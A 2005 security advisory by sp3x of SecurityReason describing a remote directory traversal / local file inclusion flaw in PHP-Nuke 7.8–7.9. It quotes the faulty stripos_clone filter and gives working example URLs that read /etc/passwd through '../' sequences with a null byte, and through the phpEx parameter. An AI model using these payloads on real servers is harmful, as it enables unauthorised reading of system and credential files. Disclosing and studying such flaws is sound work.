SecurityReason - PHPNuke Remote Directory Traversal ( Research Advisory )

Advisory Text :

SecurityAlert SA025

Author: sp3x
Date: 19. October 2005

Affected software :
===================
PHPNuke version : 7.8 - 7.9 + patch 3.1

Description :
=============
PHP-Nuke is a Web Portal System, storytelling software, News system, online
community or whatever you want to call it. The goal of PHP-Nuke is to have
an automated web site to distribute news and articles with users system.
Each user can submit comments to discuss the articles, just similar to
Slashdot and many others. Main features include: web based admin, surveys,
top page, access stats page with counter, user customizable box, themes
manager for registered users, friendly administration GUI with graphic
topic manager, option to edit or delete stories, option to delete comments,
moderation system, Referers page to know who link us, sections manager,
customizable HTML blocks, user and authors edit, an integrated Banners Ads
system, search engine, backend/headlines generation (RSS/RDF format), and
many, many more friendly functions. PHP-Nuke is written 100% in PHP and
requires Apache Web server, PHP and a SQL (MySQL, mSQL, PostgreSQL, ODBC,
ODBC_Adabas, Sybase or Interbase). Support for 25 languages, Yahoo like
search engine, Comments option in Polls, lot of themes, Ephemerids manager,
File Manager, Headlines, download manager, faq manager, advanced blocks
systems, reviews system, newsletter, categorized articles, multilanguage
content management, phpBB Forums included and a lot more.

Vulnerabilities :
*****************

File disclosure :
=================

By GET or POST request remote attacker can make specially crafted parameter
to see the files on the victim server.
In our case in php.ini the magic_quotes_gpc must be off.

Environment :
-------------
php.ini: magic_quotes_gpc = Off

The problem exist in modules.php so first let's see the source code of this
file.

Original code from modules.php :
---------------------------------
...
if (!isset($file) OR $file != $_REQUEST['file']) $file="index";
if (stripos_clone($file,"..") OR stripos_clone($mop,"..")) die("You are
so cool...");
....
-----------------------------------

Here we can see that there is function stripos_clone(); to filter variable
$file, $mop to detect and prevent
Remote Directory Traversal - Local file include. So when user set variable
$file, $mop the function start filter ".." .
Ok lets see the function stripos_clone(); code in mainfile.php :
--------
// We want to use the function stripos,
// but thats only available since PHP5.
// So we cloned the function...
if(!function_exists('stripos')) {
function stripos_clone($haystack, $needle, $offset=0) {
return strpos(strtoupper($haystack), strtoupper($needle), $offset);
}
} else {
// But when this is PHP5, we use the original function
function stripos_clone($haystack, $needle, $offset=0) {
return stripos($haystack, $needle, $offset=0);
}
}
--------

Now lets do some test :

http://victim/[nuke_dir]/modules.php?name=Search&file=index/../

After this we will see the message :
------------------------------------
You are so cool...
------------------------------------

Everything goes fine but when we try :

http://victim/[nuke_dir]/modules.php?name=Search&file=../../../../../../../
../../etc/passwd%00

Then we get /etc/passwd from server .

Another method to see file when server have magic_quotes_gpc = On .

Environment :
-------------
php.ini: magic_quotes_gpc = On

Some phpnuke version do not include all phpbb forum. When in phpnuke
directory is missing file extension.inc
in modules/Forums/ then we can use variable $phpEx to include file from
server .

Example :

http://victim/[nuke_dir]/modules.php?name=Search&file=../Forums/viewtopic&p
hpEx=../../../../../../etc/passwd

Exploit :
---------

http://securityreason.com/achievement_exploitalert/3

How to fix :
============

Download the new version of the script or update.
http://securityreason.com/download/1/4

Greetz :
========

Special greetz : cXIb8O3 , pkw

Contact :
=========

sp3x[at]securityreason[dot].com
www.securityreason.com